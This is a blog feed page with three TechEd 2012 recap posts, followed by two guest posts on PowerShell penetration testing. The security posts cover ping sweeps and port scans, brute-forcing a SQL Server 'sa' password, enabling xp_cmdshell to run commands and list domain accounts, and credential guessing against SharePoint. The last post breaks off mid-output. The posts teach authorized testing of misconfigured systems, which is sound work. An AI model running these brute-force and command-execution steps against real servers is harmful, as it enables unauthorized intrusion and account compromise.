Quantcast
Channel: Hey, Scripting Guy! Blog
Viewing all 3333 articles
Browse latest View live

Scripting Wife Parties in PowerShell Paradise: Part 1

$
0
0

Summary: Guest blogger, Teresa Wilson, reviews her experiences hanging out at the Scripting Guys booth at Microsoft TechEd 2012.

The best part of being the Scripting Wife is going to events with Ed and meeting people. I especially love TechEd because there are about 10,000 people there, and I get to meet a lot of them.  The Windows PowerShell community has become my family, and I hope they feel the same way about me. I truly thrive on helping others and love the personal interaction with people at the in-person events.

I have made some lasting friendships, and feel that at Microsoft TechEd 2011 (which was my first TechEd), I encouraged other beginners to learn Windows PowerShell. This year, I hope that I have been beneficial to those starting new User Groups or resurrecting lagging ones. See my blog post from last week about starting a user group.

TechEd 2012 started a bit differently this year as Ed and I attended a couple of welcome parties. The first was with O’Reilly Media (because Ed is one of their authors). I was able to get reacquainted with Marsee Henon and Ken Jones plus make a new friend, Lori Keam. The Krewe Meet ‘n Greet was next. I had the opportunity to meet the business partner of one of my best friends, Don Jones. Greg Shields is the other half of Concentrated Technologies, and after spending one evening with Greg, I can see why these two men are business partners. They are absolutely wonderful men, and they are so intelligent that they make my head explode.

During the Meet ‘n Greet, I was fortunate enough to meet one of the winners from the 2012 Scripting Games, Lido Paglia. Let me say, I also had the pleasure to talk a few minutes with some of the Krewe, like Matthew Griffin and Scott Ladewig for the first time. The rest of the time, I spent gathering hugs and words from existing friends like Sean Kearney, Aleksandar Nikolic, Jason Hofferle, Dan Cruz, David Corrales, Ferdinand Rios, Chris Gannon, and so many others that I cannot name everyone. 

Monday, we started off with what wound up being a Windows PowerShell breakfast that became the normal breakfast routine. Once again throughout the four days, I was able to enjoy conversations and hugs at breakfast with new and existing friends. A typical day included Rohn Edwards, a new friend and winner of the Advanced category in the 2012 Scripting Games, Lido Paglia, Dan Cruz, Will Murphy, Jason Milczek, Jason Hofferle, Boe Prox, and others.

Just before the Expo Hall opened on Monday, I slipped away from the Scripting Guys booth to make my way around to see others at their booths that I might not have gotten to see otherwise. I checked in with Glenn Sizemore and John Fulbright at the Net App booth; Nicole at the Select Software booth; and David, Ferdinand, and Robert at the Sapien booth. I accidently discovered Eric Madariaga at  the nSoftware booth. We did not chat long, but at least I was able to put a face with the name and voice. I was familiar with Eric through my volunteer work as the booking agent for the PowerScripting Podcast that is hosted by Windows PowerShell MVP, Hal Rottenberg, and Jonathan Walz.

It was finally time for the Expo Hall to be open to the attendees. What fun! I am not a great scripter, and I deliberately forget most of what Ed teaches me for the Scripting Games or else I would not get to be a beginner next year. That is right, I am the training tool Ed uses each year to show that you too can learn to use Windows PowerShell.

My role at the Scripting Guy booth is to meet and greet people as they come to the booth—especially if Ed or the other booth person (this year it was Dan Cruz) are busy talking with someone else. I try to just interact with people, find out if they are new to Windows PowerShell or if they are an experienced user. If they are currently using Windows PowerShell and have a specific question, I ask them to hang out for a minute until someone with expertise can assist. Or I have been known to look around the booth to see if there is one of my friends there who I can ask about answering the question. This year, I relied on Boe Prox and Jason Helmick a few times. That is the joy of the Windows PowerShell community—everyone is always happy to help answer questions. The following photo shows one such occasion when Jason Helmick jumped in to answer a few Windows PowerShell questions.

Photo from TechEd

If the person visiting the booth is new to Windows PowerShell, I know how to answer their question about where to start, and I always ask where they are from just in case there is a Windows PowerShell User Group in their area. I directed several people to the Houston User Group in particular because they are just getting started—plus a couple to the Central Ohio and Wisconsin groups.

The next fun part was talking to the people who are interested in starting user groups in their areas. I won’t completely spoil the fun, but I also want to make sure to help advertise—so if you are in Mississippi, Philadelphia, or northeast Florida, I predict wonderful news in your near future. Another exciting thing is the revitalization of at least one group that I know about…and that is Indianapolis. Thanks to John G for leading that effort to get them rolling again.

During the course of the week, I finally got to meet one of my long-time virtual friends, Jeff Truman, aka Script Warrior. Sadly, I do not have one single picture of me with Jeff. Guess that is incentive to find a way to meet again in person. Wait a minute—this is a Windows PowerShell person I am talking about. Let me email Jeff and see if he has a picture.  Presto! Thanks to Jeff, I now have a picture of the two of us to share:

Photo from TechEd

When you attend TechEd, please stop by the Scripting Guys booth. You never know who may show up. Maybe your picture will be next! With that, Ed says I am out of space so I will continue my journey through TechEd 2012 tomorrow.

~Teresa

Follow Ed on Twitter and Facebook. If you have any questions, send email to scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow.


Weekend Scripter: 2012 PowerShell Scripting Games Advanced Winner TechEd Report

$
0
0

Summary: The Windows PowerShell 2012 Scripting Games Advanced category winner writes about his experience at Microsoft TechEd in Orlando.

Microsoft Scripting Guy, Ed Wilson, is here. Today I wrap up the weekend with the Advanced category winner of the 2012 Scripting Games, Rohn Edwards, and his memories from Microsoft TechEd 2012.

Rohn Edwards has been a system administrator since 2006. He primarily works on Windows operating systems. A lot of his work involves automated operating system and software deployment via Microsoft System Center Configuration Manager. He started learning Windows PowerShell about a year ago when he realized that it can do things that are not even possible in VBScript, and he has not looked back since.

The following photo shows Rohn Edwards, Lido Paglia, and Jeffrey Snover at TechEd.

Photo at TechEd.

Here’s Rohn…

The first word that comes to my mind when thinking about TechEd 2012 is “WOW!” This was my first TechEd, but I certainly hope that it will not be my last. If you have never been to one, I do not think I can explain just how much fun and learning are crammed into such a short amount of time.

Weeks before the conference, I started to get an idea of how big it was going to be when I was looking over the online catalog that showed the sessions, workshops, and labs that were being offered. There was enough content there to keep a developer or IT professional busy for months—but the conference would only last for four days! The schedule I picked out had several time slots that had multiple sessions in them. There literally was not going to be enough time in the day just to see the live sessions that were at the top of my list! I was very relieved to find out that most of the sessions and labs were going to be available online after the conference, so I did not have to worry about not having enough time.

When the conference started, there was literally never a dull moment. An interesting breakfast with Lido Paglia, the other winner of the Scripting Games, on Monday morning got everything started. As a matter of fact, every meal kept the pace of the conference going. No matter who I sat with, the topics of conversation were always interesting. After eating with Lido that first morning, we found the table that Ed and Teresa Wilson (the Scripting Guy and the Scripting Wife) were sitting at, along with some other scripting enthusiasts. Here we are in a photo—left to right: Dan Cruz, Lido Paglia, Rohn Edwards, Scripting Wife (Teresa Wilson), Will Murphy, and Jason Hofferle.

Photo at TechEd

We sat and talked with them until it was time for the keynote speech. The keynote was an incredibly interesting, information-packed speech that included several speakers and live demonstrations. The TechExpo booths opened after that, and it was HUGE! There were vendor booths and booths set up by Microsoft for their products and technologies. I really enjoyed exploring the floor and talking to the people in the vendor booths.

I enjoyed the Microsoft booths a lot. They gave people the ability to get almost any question answered about specific Microsoft products. If the people staffing the booths when you stopped by couldn’t answer a question for you, they could tell you when to come back so that the person who knew the answer could help you out.

Of course, my favorite booth of all was the Scripting Guys booth. Lido and I found ourselves stopping in whenever we could find the time. I thoroughly enjoyed being able to talk to other people who shared my enthusiasm for Windows PowerShell and scripting in general. I also enjoyed being able to finally meet and talk to some of the people whose blogs and books I have been reading for the past several months. It was really amazing to be able to talk to the people who literally taught me everything I know about Windows PowerShell.

All four days were crammed with events from the early morning to late at night. If I wasn’t eating, I was at one of the breakout sessions listening to Microsoft developers talking about their products or experts talking about something in their field, working one of the hands-on labs, or spending time on the TechExpo floor. The last event was the icing on the cake! We were treated to an amazing closing party at Universal Studios Islands of Adventure theme park with free food and rides!

Overall, it was an incredible experience. I got enough new information about Windows Server 2012, Windows PowerShell 3.0, and SCCM 2012 SP1 to keep me busy for a while—and I still have several more online sessions to watch and labs to complete. I will definitely try to go to as many more TechEd events in the future as I can. If you’ve never been to a TechEd, I can’t recommend it enough! Hopefully I’ll be able to make it to New Orleans next year and I’ll see you there!

~Rohn

Thank you, Rohn, for taking the time to write this report. I also want to say that it was great to meet you, and to have the opportunity to hang out with you for a few days. Awesome job on the Scripting Games this year. And now I formally invite you to be a judge for next year’s games. It is only about 10 months away, so it is time to begin organizing the games. You in?

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Scripting Wife Parties at PowerShell Paradise: Part 2

$
0
0

Summary: In this exciting conclusion to the Microsoft TechEd 2012 reports, the Scripting Wife discusses her interactions with Windows PowerShell users.

Hello scripters. I hope to not be so long winded today as I continue to share with you my adventures at Microsoft TechEd 2012.

Tuesday, I spent most of the day at the Scripting Guys booth, and Tuesday evening we hosted a table at Community Night. We started with the three Scripting Guy booth staffers, Ed, myself, and Dan Cruz. Dan was the winner of the Microsoft TechEd 2011 pass in the Scripting Games Beginner category. He volunteered then to help out with the booth this year if we needed someone. Dan is such a great example of the difference a year can make in your knowledge of Windows PowerShell.

Anyway, we started out with the three of us, and I lost track of how many people we wound up talking to that night. I do know that I talked with Michelle from Columbus, OH, and I gave her the information about the Central Ohio PowerShell User Group in Columbus with Wes Stahler as the leader. And we talked with John G about resurrecting the Indianapolis User Group. I encourage you to go to the PowerShell Groups site and sign up as a member for a group in your city. If there is not a group in your city, you can join the Virtual User Group. The next thing would be to consider starting a user group in your location.

Wednesday was another day at the Scripting Guys booth. That day was a little different because Ed had to leave the booth to cohost the Birds-of-a-Feather session with Don Jones. The topic of course, was Best Practices for Windows PowerShell. Luckily, Ed had someone else use his camera for pictures, and I can share one with you:

Photo from TechEd

Wednesday evening found us out for dinner with the Windows PowerShell team. It was fun to meet more of the team and actually get to talk with them. Erin Chapple is lovely to visit with, and words just are not adequate to describe Jeffrey Snover. We had a surprise visitor during dinner—Windows PowerShell MVP, Jonathan Noble, popped in from his vacation and spent a little time with us. Here is proof:

Photo from TechEd

Thursday brought an end to TechEd. After the Expo Hall closed, there was a repeat of the Birds-of-a-Feather session; and MVP, Jeffery Hicks, cohosted with Ed for this session.

Photo from TechEd

What would TechEd be at the Scripting Guys booth without special guests? The line-up this year included Don Jones, Jeffery Hicks, Jeffrey Snover, Mark Minasi, Matthew Reynolds, Rohn Edwards, and Lido Paglia (Rohn and Lido are the TechEd pass winners for winning the 2012 Scripting Games). Plus there was the added bonus of impromptu guests like Boe Prox, Jason Helmick, Travis Jones, Osama Sajid, Sean Kearney and Clint Huffman. Here is a picture with Mark Minasi:

Photo from TechEd

Ed says that I need to wrap it up. Thanks to everyone who stopped by the Scripting Guys booth and for all the conversations and hugs. If you are in the Charlotte, NC area, remember that there will be a PowerShell Saturday event coming on September 15. Speakers and sign-up info will be available soon. In the meantime, the next Charlotte PowerShell User Group meeting will be Thursday, July 5.

Follow Ed on Twitter and Facebook. I invite you to check out more pictures from Microsoft TechEd 2012 on the Scripting Guys Facebook page. If you have any questions, send email to scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum.

Use PowerShell for Network Host and Port Discovery Sweeps

$
0
0

Summary: Guest blogger, Niklas Goude, discusses using Windows PowerShell to perform ping sweeps and port scans on a connected network.

Microsoft Scripting Guy, Ed Wilson, is here. This week we have guest blogger Niklas Goude. Before we get to Niklas, I want to mention that you should mark your calendars for September 15, 2012 because that is the date that the second Windows PowerShell Saturday event occurs. It will be held in Charlotte, North Carolina. Attendance is limited, so keep your ears attuned for when registration opens. We will have three tracks and the event will be a lot of fun.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

Now, without further ado, here is Niklas…

Penetration testing is an important part of improving security in any network environment. A hacker usually only needs to find very few weaknesses (even only one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them.

This is the first blog in a weekly series of five where we will talk about basic penetration testing techniques and how they affect misconfigured systems. The series will cover everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords, system dependencies, misconfigurations, and more. I hope you will learn and enjoy!

Note   Today’s blog discusses using Windows PowerShell to perform network discovery. On some networks, use of such techniques is expressly disallowed except for specifically authorized teams and individuals. You must ensure that you have permission to perform the techniques described here prior to using such techniques at work. This also is a good time to emphasize the importance of proper network security configuration. For help with security configuration of your computer, see the Microsoft Safety & Security Center.

Part 1: Scanning

Scanning for IP addresses, MAC addresses, host names, and open ports is a way of finding the available computers on a network and finding out which service each computer publishes. In this blog, we will talk about how this can be performed by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment that consists of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain however the client is not a member of the domain. Each command in this scenario is executed from the client.

Configuration

The servers are manually installed by using the default settings. The servers use the Windows Firewalls default settings. The recommended internal firewall design is described in the following Microsoft TechNet Security Bulletin: Internal Firewall Design.

Code

The first step in scanning the network for IP addresses, host names, and open ports is to determine which network we are currently sitting on. The simplest way to do this is to use ipconfig. As you already know, Windows PowerShell has full support for running executables.

Simply type ipconfig to find out which network you are on. If you are running Windows PowerShell 3.0, you can also use the new Get-NetIPAddress cmdLlet.

PS > ipconfig

 

Windows IP Configuration

Ethernet adapter Wired Ethernet Connection 2:

  Connection-specific DNS Suffix . :

  Link-local IPv6 Address . . . . . : fe81::3314:cf47:dbc2:935c%11

  IPv4 Address. . . . . . . . . . . : 10.0.0.100

  Subnet Mask . . . . . . . . . . . : 255.0.0.0

  Default Gateway . . . . . . . . . : 10.0.0.1

This example tells us that our IP address is 10.0.0.100 and the subnet is 255.0.0.0. With this information, we can perform a ping sweep on the network to find out if any hosts are reachable. We could, of course, achieve this by using ping.exe. However, there are more efficient ways to perform ping sweeps in a Windows network by using Windows PowerShell. One way is to use the Test-Connection cmdlet, which returns a Win32_PingStatus object that we can investigate in Windows PowerShell. We can also create an instance of System.Net.Networkinformation.Ping by using the New-Object cmdlet. This is the approach we’ll focus on. The following example demonstrates how to create an instance of System.Net.Networkinformation.Ping.

PS > $ping = New-Object System.Net.Networkinformation.ping

The Ping class supports a method called Send(), which we can use to send an Internet Control Message Protocol (ICMP) echo request to a computer by simply specifying an IP address. The following example demonstrates how to send an ICMP echo request to 10.0.0.2.

PS > $ping.Send("10.0.0.2")

 

Status    : Success

Address    : 10.0.0.2

RoundtripTime : 0

Options    : System.Net.NetworkInformation.PingOptions

Buffer    : {97, 98, 99, 100...}

If the computer responds, the status property is set to Success as shown in this example. It’s also possible to add a timeout by using a different overload definition. The timeout specifies the maximum number of milliseconds to wait for the ICMP echo reply message. The following example demonstrates how to ping 10.0.0.10 and wait for 500 milliseconds.

PS > $ping.Send("10.0.0.10", 500)

 

Status    : TimedOut

Address    :

RoundtripTime : 0

Options    :

Buffer    : {}

If we wanted to perform a ping sweep on multiple computers, we could simply take advantage of the Windows PowerShell pipeline support, and pipe any number of given IP addresses to the Send() method.

PS > "10.0.0.2","10.0.0.3" | ForEach-Object { $ping.Send($_, 500) }

 

Status    : Success

Address    : 10.0.0.2

RoundtripTime : 0

Options    : System.Net.NetworkInformation.PingOptions

Buffer    : {97, 98, 99, 100...}

 

Status    : Success

Address    : 10.0.0.3

RoundtripTime : 0

Options    : System.Net.NetworkInformation.PingOptions

Buffer    : {97, 98, 99, 100...}

Now that we know how to perform a simple ping sweep by using Windows PowerShell, let’s take a look at how to use Windows PowerShell to resolve a host name.

The System.Net.DNS class contains a static method, GetHostEntry(), which we can use to ask the DNS server for the host name that is associated with a given IP address.

PS > [Net.DNS]::GetHostEntry("10.0.0.3")

 

HostName          Aliases          AddressList        

--------          -------          ----------- 
SRV01.hacme.local      {}             {10.0.0.3}        

SRV01.hacme.local      {}             {10.0.0.3

It is also possible to ask the DNS server for the host name Async by using the BeginGetHostEntry() and the EndGetHostEntry() methods that are supported by System.Net.DNS.

Next, let us look at how to determine which ports are open on a system. The System.Net.Sockets.TcpClient class supports the Connect() method, which we can use to connect to a given IP address and port. First we create an instance to System.Net.Sockets.TcpClient.

PS > $tcpClient = New-Object System.Net.Sockets.TCPClient

Next, we use the Connect() method and try to connect to a specific IP address and port. In the following example, we test if port 445 is open. Port 445 is the SMB port. If the connection is successful, the Connected property is set to True as shown here:

PS > $tcpClient = New-Object System.Net.Sockets.TCPClient

PS > $tcpClient.Connect("10.0.0.2",445)

PS > $tcpClient.Connected

True

If the connection fails, an error message is displayed and the Connected property is False.

PS > $tcpClient.Connect("10.0.0.2",1234)

Exception calling "Connect" with "2" argument(s):

"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond 10.0.0.2:1234"

At line:1 char:1+ $tcpClient.Connect("10.0.0.2",1234)

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  + CategoryInfo     : NotSpecified: (:) [], MethodInvocationException

  + FullyQualifiedErrorId : SocketException

PS > $tcpClient.Connected

False

It is also possible to test the port’s Async by using the BeginConnect() method.

These are the basic steps that we need to perform a network scan by using Windows PowerShell. The nice thing about Windows PowerShell is that we can reuse the code by placing it in a function and simply calling the function instead of typing the code every time we want to perform a network scan.

The following example demonstrates the Invoke-TSPingSweep function in action.

PS > Invoke-TSPingSweep -StartAddress 10.0.0.1 -EndAddress 10.0.0.10 -ResolveHost -ScanPort

 

IPAddress          HostName          Ports           

---------          --------          -----           

10.0.0.2          DC01.hacme.local      {53, 139, 389, 445...} 

10.0.0.3          SRV01.hacme.local     {21, 80, 139, 445...}

10.0.0.10          SP01.hacme.local      {80, 139, 445}    

The function uses the code described in this post and supports the following parameters:

  • StartAddress
  • EndAddress
  • ResolveHost
  • ScanPort
  • Ports
  • Timeout

Using the functionality of Windows PowerShell makes it very easy to search for specific ports that are returned from a network scan to determine if a computer is running a specific service. For example, if we wanted to find all computers running SQL Server, we could simply store the output in a variable and use the Where-Object cmdlet to retrieve each object where the Port 1433 is open.

PS > $pingSweep = Invoke-TSPingSweep -StartAddress 10.0.0.1 -EndAddress 10.0.0.10 -ResolveHost -ScanPort


PS > $pingSweep | Where-Object { $_.Ports -eq "1433" }

 

IPAddress          HostName          Ports           

---------          --------          -----           

10.0.0.3          SRV01.hacme.local     {21, 80, 139, 445...}

 

PS > $pingSweep | Where-Object { $_.Ports -eq 80 }

 

IPAddress          HostName          Ports           

---------          --------          -----           

10.0.0.3          SRV01.localdomain     {21, 80, 139, 445...}  

10.0.0.10          SP01.localdomain      {80, 139, 445} 

There are, of course, other tools that you can use when performing network scans. One such tool is the Nmap security scanner, which has the possibility to perform the tasks described previously and a lot more.  As I mentioned earlier, Windows PowerShell has full support for executables, so another approach for performing a network scan would be to invoke nmap.exe and parse the XML output into a Windows PowerShell custom object to utilize the benefits of Windows PowerShell when working with the ouput. The following example demonstrates how to run nmap.exe and output the results to an XML document.

PS > & 'C:\Nmap\nmap.exe' -F 10.0.0.1/24 -oX C:\temp\nmap.xml

Next, we can use Get-Content and read the content of the XML document. By adding the [xml] data type and placing the cmdlet within parenthesis, the content is read as an XML object.

PS > $nmap = [xml](Get-Content C:\temp\nmap.xml)

PS > $nmap.nmaprun.host

 

starttime : 1340110002

endtime  : 1340110018

status  : status

address  : {address, address}

hostnames :

ports   : ports

times   : times

Downloads

  • To download this entire code sample, see Invoke-TSPingSweep in the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec website.
  • For more information about Nmap, see the NMAP.ORG site.

~Niklas

I want to thank Niklas for an interesting and informative blog. Security Week will continue tomorrow with Part 2 of Niklas’s security series.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Security Test SQL Server and SharePoint

$
0
0

Summary: Guest blogger, Niklas Goude, talks about using Windows PowerShell to perform brute force security testing on SQL Server and SharePoint.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have Niklas Goude back with Part 2 of his Security Week series.

Niklas Goude is a Security Consultant at TrueSec and an MVP in Windows PowerShell. In addition to his work performing security assessments for a variety of clients, he also has extensive experience in using Windows PowerShell to automate and implement Windows environments. He has been speaking at TechDays; SharePoint conferences in the U.S., Australia, and New Zealand; and other events and conferences. He is the author of two books about Windows PowerShell, and he shares his knowledge at PowerShell.nu. He is a member of the TrueSec Expert Team, an independent, elite team of security and infrastructure consultants that operates all over the world. The security team at TrueSec performs various tasks and services related to IT security such as code review, security health checks, and penetration testing. TrueSec also delivers top-notch training sessions in advanced IT security. Check out the TruSec website for additional information.

Note    Today’s blog discusses using Windows PowerShell to perform brute force penetration testing. Windows PowerShell does not, by itself, provide anything uniquely specific to this task. Scripts could be written in any number of languages with varying degrees of difficulty. Remember that Windows PowerShell does not permit a user to do anything that the user does not have rights to do. The entire point of today’s blog is that if the systems are configured properly, the attacks will fail. Keep in mind that an easy denial-of-service attack can occur if you set restrictive account policies. To aid you in navigating various policies, review Account Policies in the Windows Server Technical Library.

This is the second blog in a series of five, and we’ll talk about basic penetration testing techniques and how they affect misconfigured systems. The series covers everything from initial network reconnaissance techniques and brute force attacks to advanced extraction of registry secrets to assess dangerous system dependencies.

The key learning point is to demonstrate how you can use Windows PowerShell to accomplish almost any task—no matter the subject. The secondary learning point is to make you aware of common security issues and misconfigurations that may occur in Microsoft infrastructures today. One important thing to keep in mind is that the vulnerabilities we are looking for exist simply because of misconfigurations made by administrators, such as weak passwords or system dependencies.

I hope you will learn and enjoy!

Part 2: Brute force

Penetration testing is an important part of improving security in any network environment. A hacker only needs to find a few weaknesses (even one) to compromise important IT systems. An important task for an IT administrator is to identify potential weaknesses and mitigate them. 

Penetrating systems is usually achieved by a brute force attack or by exploiting a weakness or misconfiguration in a service. The goal is to acquire permissions to a system. An attacker that does not succeed in a brute force attack could also perform a DOS attack to damage the system.

In this scenario, we will focus on how to brute force SQL Server and web servers by using Windows PowerShell.

Scenario

This scenario is based on a Windows domain environment consisting of three machines:

  • DC01: domain controller
  • SRV01: SQL Server and IIS
  • SP01: SharePoint 2010, SQL Server, and IIS

In addition, we have a client on the same network as the domain; however, the client is not a member of the domain. Each command in this scenario is executed from the client.

Configuration

The server running SQL Server, SRV01, is running a non-Microsoft application that is dependent on SQL Server authentication. During the installation, the SQL Server database engine was set to SQL Server and Windows authentication mode. The sa account is enabled and in use by the non-Microsoft application. For configuration recommendations, see Security Considerations for a SQL Server Installation on MSDN.

The server running SharePoint 2010, SP01, is installed by using the default settings (Next, Next, Next). The authentication method that is implemented is NTLM. For more information, see:

Code

Let us start with a classic: SQL Servers using SQL Server authentication (mixed mode). We recommend to always use Windows authentication with SQL Server when possible. But in some cases, such as when using non-Microsoft applications that depend on SQL Server authentication, mixed mode is a necessity.

For an attacker, this is particularly interesting because enabling mixed mode also creates the sa account, the built-in SQL server administrator account, during setup. If mixed mode is enabled after SQL Server has been installed, you must actively enable the sa account.

Because the sa account is a well-known account, it’s a typical target for an attacker. SQL Server 2008, SQL Server 2008 R2, and SQL Server 2012 apply the domain password policy by default on any SQL account and enforce complex passwords. However, some servers running older versions of SQL Server do not.

Testing the password of the sa account by using Windows PowerShell is a simple task. The passwords we want to test are “sa” and blank. Other easily guessed passwords are: Password, Admin, Administrator, and sysadmin.

To connect to a computer running SQL Server by using Windows PowerShell, we create an instance of System.Data.SQLClient.SQLConnection:

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection

Next, we set up a connection string by using standard security. The password used in the following example is blank.

PS > $server = "10.0.0.3"

PS > $user = "sa"

PS > $password = ""

PS > $Connection.ConnectionString =

"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"

For a good reference, see The Connection String Reference.

To test the connection, we can simply call the Open() method.

PS > $Connection.Open()

Exception calling "Open" with "0" argument(s): "Login failed for user 'sa'."

At line:1 char:1

+ $Connection.Open()

+ ~~~~~~~~~~~~~~~~~~

    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException

    + FullyQualifiedErrorId : SqlException

The command returns an error that states the logon failed for user ‘sa’. Now, let’s try setting the password to ‘sa’ instead.

PS > $Connection = New-Object System.Data.SQLClient.SQLConnection

$server = "10.0.0.3"

$user = "sa"

$password = "sa"

$Connection.ConnectionString =

"Server=$server;Initial Catalog=Master;User Id=$user;Password=$password;"

$Connection.Open()

This time the method did not return an error message, which means that we successfully guessed the sa account’s password.

We can add this piece of code to a function and automate these steps even further. The following example demonstrates how to read passwords from a password list, and then pass them to a function, Invoke-TSMedusa. Here’s the content of the password list:

PS > Import-Csv .\sqlPwd.csv

 

Password                                                                        

--------                                                                         

Admin                                                                           

Password                                                                        

                                                                                

sa                                                                               

Administrator                                                                   

sysadmin   

And here’s what happens if we run the function.

PS > Import-Csv .\sqlPwd.csv |

Invoke-TSMedusa -Identity 10.0.0.3 -UserName sa -Service SQL |

Select UserName, Password, Success

 

UserName                    Password                                      Success

--------                    --------                                      -------

sa                          Admin                                           False

sa                          Password                                        False

sa                                                                          False

sa                          sa                                               True

sa                          Administrator                                   False

sa                          sysadmin                                        False

Note   If a password policy is used, which is recommended, the account might have been locked out, depending on the number of bad logon attempts permitted by the password policy.

So is it really that dangerous if we know the sa account password? Well, the sa account is the built-in SQL server administrator account, and it can execute stored procedures. One stored procedure of interest for an attacker is xp_cmdshell, which spawns a command shell and passes in a string for execution.

Before we go ahead and execute commands by using xp_cmdshell, we need a way of passing commands to a server running SQL Server. We can achieve this by creating an instance to System.Data.SQLClient.SQLCommand, and then passing the open connection stored in $connection to the Connection property as demonstrated here:

PS > $command = New-Object System.Data.SQLClient.SQLCommand

PS > $command.Connection = $Connection

Now, let’s grab the syslogin accounts by using a simple SQL command. First we add a SQL command to the CommandText property, and then we call the ExecuteReader() method to execute the SQL command.

Note   It is interesting that the previous example is a potential security risk itself. Always use parameterized SQL. Never concatenate strings (especially user inputted strings), or you might find yourself hacked through an SQL injection.

PS > $command.CommandText = "SELECT name FROM master.SYS.syslogins"

$reader = $command.ExecuteReader()

The reader variable now contains the result from the SQL command. We can use a while loop to display the results as shown here:

PS > while ($reader.Read()) {

  New-Object PSObject -Property @{

    Name = $reader.GetValue(0)

  }

}

 

Name                                                                            

----                                                                             

sa                                                                              

##MS_SQLResourceSigningCertificate##                                            

##MS_SQLReplicationSigningCertificate##                                          

##MS_SQLAuthenticatorCertificate##                                              

##MS_PolicySigningCertificate##                                                 

##MS_SmoExtendedSigningCertificate##                                             

##MS_PolicyEventProcessingLogin##                                               

##MS_PolicyTsqlExecutionLogin##                                                 

##MS_AgentSigningCertificate##                                                  

NT AUTHORITY\SYSTEM                                                             

NT SERVICE\MSSQLSERVER                                                          

HACME\administrator                                                             

HACME\sql-admin                                                                 

NT SERVICE\SQLSERVERAGENT                                                       

hacme                                                                           

foo             

Notice how the command displays both SQL accounts and domain accounts. All this is possible because of a misconfigured sa account.

Back to business…

Let’s execute some Windows PowerShell  using SQL and the sa account. In this example, we will use the Get-TSSQL function, which basically uses the code described earler. The xp_cmdshell stored procedure is disabled by default, but because we now own the sa account, we can enable it as shown here:

PS > $connectionString = "server=10.0.0.3;database=master;User Id=sa;Password=sa;"

PS > $query = "EXEC sp_configure 'show advanced options',1; RECONFIGURE;"

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

PS > $query = "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

Now we can execute Windows PowerShell remotely through the server running SQL Server. Here is an example that starts Windows PowerShell and runs the internal command whoami.

PS > $cmd = 'powershell.exe -Command "& { whoami }"'

PS > $query = "EXEC xp_cmdshell '$cmd'"

 

PS > Get-TSSQL -Query $query -ConnectionString $connectionString

 

output                                                                          

------                                                                           

hacme\sql-serviceaccount     

Notice how whoami displays hacme\sql-serviceaccount. In other words, we can now execute commands as a domain account (the account that is configured to start the SQL Server service). It is also possible to grab all of the local and domain accounts available in the domain by using a wmi class. This is shown in the command that follows.

PS > $cmd = 'powershell.exe -Command "& { gwmi Win32_UserAccount | select Caption }"'

$query = "EXEC xp_cmdshell '$cmd'"

 

Get-TSSQL -Query $query -ConnectionString $connectionString

  

output                                                                          

------                                                                          

                                                                                 

Caption                                                                         

-------                                                                         

SRV01\Administrator                                                              

SRV01\Guest                                                                     

HACME\Administrator                                                             

HACME\Guest                                                                      

HACME\User001                                                                    

HACME\User002                                                               

The previous example returns a list of all available domain accounts.

Now let us take a look at how we can use the domain accounts acquired from the previous example to attack a web server.

In this scenario, we will try to brute force a default configuration (one setup by someone who simply clicked Next, Next, Next …) in SharePoint Server by using Windows PowerShell.

If we use Internet Explorer and browse to the SharePoint Server, we get a Windows logon screen that asks us for a user name and password. We could try typing each user name and guess for a password manually, but that is time consuming. Windows PowerShell is all about automating the Windows environment, so let’s use it.

First, we create an instance of Net.WebClient.

PS > $webClient = New-Object Net.WebClient

Next, we store the URL (the root site in SharePoint defaults to http://servername/SitePages/Home.aspx). We also specify the user name and the password that we want to test in variables.

PS > $userName = "hacme\user001"

PS > $password = "Password1"

PS > $url = "http://sp01/SitePages/Home.aspx"

Now, we convert the password to a secure string and create a PSCredential object to hold the user name and the password:

PS > $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force

$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword

Finally, we add the credential object to the WebClient Credential property and attempt to download the web page by using the DownloadString() method as shown here.

PS > $webClient.Credentials = $credential

PS > $webClient.DownloadString($url)

Exception calling "DownloadString" with "1" argument(s): "The remote server retur

ned an error: (401) Unauthorized."

At line:2 char:1
